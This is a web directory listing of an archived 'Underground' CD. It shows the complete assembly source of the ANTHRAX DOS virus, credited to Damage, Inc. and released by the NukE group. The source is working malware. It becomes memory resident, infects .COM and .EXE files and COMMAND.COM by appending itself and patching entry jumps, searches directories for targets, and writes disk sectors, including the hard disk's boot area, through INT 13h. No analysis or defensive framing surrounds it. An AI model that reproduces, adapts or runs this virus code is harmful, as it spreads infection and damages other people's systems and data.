Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / a / anthrax.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 11.6 KB | 450 lines

;************************************************************************** ;** ANTHRAX VIRUS ** ;** Created: 2 Jan 90 Programmer: (c) Damage, Inc. ** ;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected** ;** by Scan (McAfee & Assc.) And does copy itself to *.COM ** ;** *.EXE and the Command.Com and is Memory Resident! ** ;** ** ;** Sources brought to you by -> Rock Steady [NukE]s Head Programmer! ** ;** ** ;************************************************************************** .286p DATA_1E EQU 46CH ; (0000:046C=2DH) DATA_2E EQU 4 ; (65AC:0004=0) DATA_3E EQU 7 ; (65AC:0007=0) DATA_10E EQU 5FEH ; (65AC:05FE=0) SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A ORG 100h ANTHRAX PROC FAR START: JMP LOC_24 ; (043B) DB 13 DUP (0) DB 95H, 8CH, 0C8H, 2DH, 0, 0 DB 0BAH, 0, 0, 50H, 52H, 1EH DB 33H, 0C9H, 8EH, 0D9H, 0BEH, 4CH DB 0, 0B8H, 0CDH, 0, 8CH, 0CAH DB 87H, 44H, 44H, 87H, 54H, 46H DB 52H, 50H, 0C4H, 1CH, 0B4H, 13H DB 0CDH, 2FH, 6, 53H, 0B4H, 13H DB 0CDH, 2FH, 58H, 5AH, 87H, 4 DB 87H, 54H, 2, 52H, 50H, 51H DB 56H, 0A0H, 3FH, 4, 0A8H, 0FH DB 75H, 6CH, 0EH, 7, 0BAH, 80H DB 0, 0B1H, 3, 0BBH, 77H, 6 DB 0B8H, 1, 2, 50H, 0CDH, 13H DB 58H, 0B1H, 1, 0BBH, 0, 4 DB 0CDH, 13H, 0EH, 1FH, 0BEH, 9BH DB 3, 8BH, 0FBH, 0B9H, 5EH, 0 DB 56H, 0F3H, 0A6H, 5EH, 8BH, 0FBH DB 0B9H, 62H, 0, 56H, 0F3H, 0A4H DB 5FH, 0BEH, 12H, 8, 0B9H, 65H DB 0, 0F3H, 0A4H, 74H, 1EH, 89H DB 4DH, 0E9H, 0B1H, 5CH, 89H, 4DH DB 9BH, 88H, 6DH, 0DCH, 0B1H, 2 DB 33H, 0DBH, 0B8H, 2, 3, 0CDH DB 13H, 49H, 0BBH, 0, 4, 0B8H DB 1, 3, 0CDH, 13H, 49H, 0B4H DB 19H, 0CDH, 21H, 50H, 0B2H, 2 DB 0B4H, 0EH, 0CDH, 21H, 0B7H, 2 DB 0E8H, 87H, 1, 5AH, 0B4H, 0EH DB 0CDH, 21H, 5EH, 1FH, 8FH, 4 DB 8FH, 44H, 2, 8FH, 44H, 44H DB 8FH, 44H, 46H, 1FH, 1EH, 7 DB 95H, 0CBH copyright DB '(c) Damage, Inc.' DB 0, 0B0H, 3, 0CFH, 6, 1EH DB 57H, 56H, 50H, 33H, 0C0H, 8EH DB 0D8H, 0BEH, 86H, 0, 0EH, 7 DB 0BFH, 8, 6, 0FDH, 0ADH, 0ABH DB 0A5H, 0AFH, 87H, 0F7H, 0ADH, 0FCH DB 74H, 11H, 1EH, 7, 0AFH, 0B8H DB 7, 1, 0ABH, 8CH, 0C8H, 0ABH DB 8EH, 0D8H, 0BFH, 68H, 0, 0A5H DB 0A5H, 58H, 5EH, 5FH, 1FH, 7 DB 2EH, 0FFH, 2EH, 0, 6, 6 DB 1EH, 57H, 56H, 52H, 51H, 53H DB 50H, 0EH, 1FH, 0BEH, 6, 6 DB 33H, 0C9H, 8EH, 0C1H, 0BFH, 84H DB 0, 0A5H, 0A5H, 0B4H, 52H, 0CDH DB 21H, 26H, 8BH, 47H, 0FEH, 8EH DB 0D8H, 0BBH, 3, 0, 3, 7 DB 40H, 8EH, 0D8H, 81H, 7, 80H DB 0, 0EH, 7, 0B7H, 12H, 0E8H DB 0F2H, 0, 58H, 5BH, 59H, 5AH DB 5EH, 5FH, 1FH, 7, 2EH, 0FFH DB 2EH, 6, 6 LOC_RET_1: RETN DB 91H, 0AEH, 0B4H, 0A8H, 0BFH DB 20H, 31H, 39H, 39H, 30H ANTHRAX ENDP ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ SUB_1 PROC NEAR MOV AX,3D00H INT 21H ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx JC LOC_RET_1 ; Jump if carry Set XCHG AX,BX MOV AX,1220H INT 2FH ; Multiplex/Spooler al=func 20h PUSH BX MOV BL,ES:[DI] MOV AX,1216H INT 2FH ; Multiplex/Spooler al=func 16h POP BX MOV SI,462H MOV DX,SI MOV CL,18H MOV AH,3FH ; '?' INT 21H ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx XOR AX,CX JNZ LOC_7 ; Jump if not zero PUSH ES POP DS MOV BYTE PTR [DI+2],2 XOR DX,DX ; Zero register LOC_2: IN AL,DX ; port 0, DMA-1 bas&add ch 0 CMP AL,10H JB LOC_2 ; Jump if below ADD AX,[DI+11H] ADC DX,[DI+13H] AND AL,0F0H CMP AX,0FB00H JAE LOC_7 ; Jump if above or = MOV [DI+15H],AX MOV [DI+17H],DX PUSH CS POP DS PUSH AX MOV CL,10H DIV CX ; ax,dx rem=dx:ax/reg SUB AX,[SI+8] MOV CX,AX SUB AX,[SI+16H] MOV DS:DATA_2E,AX ; (65AC:0004=0) LODSW ; String [si] to ax XOR AX,5A4DH JZ LOC_3 ; Jump if zero XOR AX,1717H LOC_3: PUSHF ; Push flags JNZ LOC_4 ; Jump if not zero MOV [SI],AX CMP AX,[SI+0AH] XCHG AX,[SI+12H] MOV DS:DATA_3E,AX ; (65AC:0007=0) MOV [SI+14H],CX MOV CX,4DCH JZ LOC_5 ; Jump if zero ADD WORD PTR [SI+8],48H LOC_4: MOV CX,65H LOC_5: PUSH CX MOV CX,39BH MOV AH,40H ; '@' INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx XOR CX,AX POP CX JNZ LOC_6 ; Jump if not zero MOV DX,400H MOV AH,40H ; '@' INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx XOR CX,AX LOC_6: POP DX POP AX LOC_7: JNZ LOC_11 ; Jump if not zero MOV ES:[DI+15H],CX MOV ES:[DI+17H],CX PUSH DX POPF ; Pop flags JNZ LOC_9 ; Jump if not zero MOV AX,ES:[DI+11H] MOV DX,ES:[DI+13H] MOV CH,2 DIV CX ; ax,dx rem=dx:ax/reg TEST DX,DX JZ LOC_8 ; Jump if zero INC AX LOC_8: MOV [SI],DX MOV [SI+2],AX JMP SHORT LOC_10 ; (0328) LOC_9: MOV BYTE PTR [SI-2],0E9H ADD AX,328H MOV [SI-1],AX LOC_10: MOV CX,18H LEA DX,[SI-2] ; Load effective addr MOV AH,40H ; '@' INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx LOC_11: OR BYTE PTR ES:[DI+6],40H ; '@' MOV AH,3EH ; '>' LOC_12: INT 21H ; DOS Services ah=function 3Eh ; close file, bx=file handle RETN SUB_1 ENDP ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ SUB_2 PROC NEAR MOV DS,CX MOV BL,DS:DATA_1E ; (0000:046C=34H) PUSH CS POP DS INC DATA_7 ; (65AC:045E=0FC00H) MOV DX,64BH CALL SUB_3 ; (036D) MOV SI,60AH MOV BYTE PTR [SI],5CH ; '\' INC SI XOR DL,DL ; Zero register MOV AH,47H ; 'G' INT 21H ; DOS Services ah=function 47h ; get present dir,drive dl,1=a: MOV DX,39BH LOC_13: MOV AH,3BH ; ';' INT 21H ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx JCXZ LOC_14 ; Jump if cx=0 MOV AH,51H ; 'Q' INT 21H ; DOS Services ah=function 51h ; get active PSP segment in bx MOV DS,BX MOV DX,80H ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ SUB_3: MOV AH,1AH JMP SHORT LOC_12 ; (0339) LOC_14: JC LOC_17 ; Jump if carry Set MOV SI,39CH XOR DL,DL ; Zero register MOV AH,47H ; 'G' INT 21H ; DOS Services ah=function 47h ; get present dir,drive dl,1=a: CMP CH,BYTE PTR DS:[3DCH] ; (65AC:03DC=81H) LOC_15: MOV CL,32H ; '2' MOV DX,29DH MOV AH,4EH ; 'N' JZ LOC_20 ; Jump if zero INT 21H ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx JC LOC_17 ; Jump if carry Set LOC_16: MOV DX,64BH MOV AX,4F01H MOV SI,3DCH MOV DI,668H STOSB ; Store al to es:[di] MOV CL,0DH REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di] JZ LOC_20 ; Jump if zero CMP CH,[DI-2] JE LOC_20 ; Jump if equal INT 21H ; DOS Services ah=function 4Fh ; find next filename match JNC LOC_16 ; Jump if carry=0 XOR AL,AL ; Zero register JMP SHORT LOC_15 ; (0380) DB 2AH, 2EH, 2AH, 0 LOC_17: MOV CL,41H ; 'A' MOV DI,39CH CMP CH,[DI] MOV AL,CH MOV BYTE PTR DS:[3DCH],AL ; (65AC:03DC=81H) JZ LOC_23 ; Jump if zero REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al DEC DI MOV CL,41H ; 'A' MOV AL,5CH ; '\' STD ; Set direction flag REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al LEA SI,[DI+2] ; Load effective addr MOV DI,3DCH CLD ; Clear direction LOC_18: LODSB ; String [si] to al TEST AL,AL STOSB ; Store al to es:[di] JNZ LOC_18 ; Jump if not zero MOV DX,2CDH XOR CL,CL ; Zero register JMP SHORT LOC_13 ; (035E) DB 2EH, 2EH, 0 LOC_19: MOV DX,64BH MOV AH,4FH ; 'O' LOC_20: INT 21H ; DOS Services ah=function 4Fh ; find next filename match JC LOC_17 ; Jump if carry Set DATA_6 DW 69BEH DB 6, 0BFH, 0DCH, 3, 80H, 3CH DB 2EH, 74H, 0ECH, 88H, 2DH, 8BH DB 0D6H, 0F6H, 44H, 0F7H, 10H, 75H DB 0DBH LOC_21: LODSB ; String [si] to al TEST AL,AL STOSB ; Store al to es:[di] JNZ LOC_21 ; Jump if not zero DEC SI STD ; Set direction flag LODSW ; String [si] to ax LODSW ; String [si] to ax CLD ; Clear direction CMP AX,4558H JE LOC_22 ; Jump if equal CMP AX,4D4FH JNE LOC_19 ; Jump if not equal LOC_22: PUSH BX CALL SUB_1 ; (0262) POP BX XOR CX,CX ; Zero register MOV ES,CX MOV AL,ES:DATA_1E ; (0000:046C=38H) PUSH CS POP ES SUB AL,BL CMP AL,BH JB LOC_19 ; Jump if below LOC_23: MOV DX,80H MOV CL,3 MOV BX,200H MOV AX,301H INT 13H ; Disk dl=drive 0: ah=func 03h ; write sectors from mem es:bx MOV DX,60AH JMP LOC_13 ; (035E) SUB_2 ENDP LOC_24: XCHG AX,BP MOV DI,100H MOV BX,[DI+1] SUB BX,228H MOV AX,DI LEA SI,[BX+3FDH] ; Load effective addr MOVSW ; Mov [si] to es:[di] MOVSB ; Mov [si] to es:[di] XCHG AX,BX MOV CL,4 SHR AX,CL ; Shift w/zeros fill MOV CX,DS ADD AX,CX MOV DX,0BH JMP SHORT LOC_26 ; (04CD) DB 0B8H, 0D0H DATA_7 DW 0FC00H DATA_8 DW 8587H DB 68H, 0FAH, 0ABH, 8CH, 0C8H, 0E2H DB 0F7H, 0A3H, 86H, 0, 0ABH, 8EH DB 0D8H, 0B4H, 8, 0CDH, 13H, 49H DB 49H, 0A1H, 0E9H, 3, 84H, 0E4H DB 74H, 1, 91H, 0B2H, 80H, 0B8H DB 3, 3, 0CDH, 13H, 91H, 84H DB 0E4H, 75H, 2 DB 2CH, 40H LOC_25: DEC AH MOV DATA_6,AX ; (65AC:03E9=69BEH) INC DATA_8 ; (65AC:0460=8587H) XOR DH,DH ; Zero register MOV CX,1 MOV BX,400H MOV AX,301H INT 13H ; Disk dl=drive ?: ah=func 03h ; write sectors from mem es:bx MOV DL,DH RETF ; Return far DB 41H, 4EH, 54H, 48H, 52H, 41H DB 58H, 0EH, 1FH, 83H, 2EH, 13H DB 4, 2, 0CDH, 12H, 0B1H, 6 DB 0D3H, 0E0H, 8EH, 0C0H, 0BFH, 0 DB 4, 0BEH, 0, 7CH, 0B9H, 0 DB 1, 8BH, 0DEH, 0FCH, 0F3H, 0A5H DB 8EH, 0D8H, 0BAH, 27H, 4 LOC_26: PUSH CX PUSH BX PUSH AX PUSH DX RETF ; Return far DB 8EH, 0C1H, 0B1H, 4, 0BEH, 0B0H DB 5 LOCLOOP_27: ADD SI,0EH LODSW ; String [si] to ax CMP AL,80H JE LOC_29 ; Jump if equal LOOP LOCLOOP_27 ; Loop if cx > 0 LOC_28: INT 18H ; ROM basic LOC_29: XCHG AX,DX STD ; Set direction flag LODSW ; String [si] to ax XCHG AX,CX MOV AX,201H INT 13H ; Disk dl=drive a: ah=func 02h ; read sectors to memory es:bx CMP WORD PTR DS:DATA_10E,0AA55H ; (65AC:05FE=0) JNE LOC_28 ; Jump if not equal PUSH ES PUSH DS POP ES POP DS XOR DH,DH ; Zero register MOV CX,2 XOR BX,BX ; Zero register MOV AX,202H INT 13H ; Disk dl=drive a: ah=func 02h ; read sectors to memory es:bx JMP $-10FH DB 0, 0, 0, 0, 0CDH, 20H DB 0CCH DB 112 DUP (1AH) SEG_A ENDS END START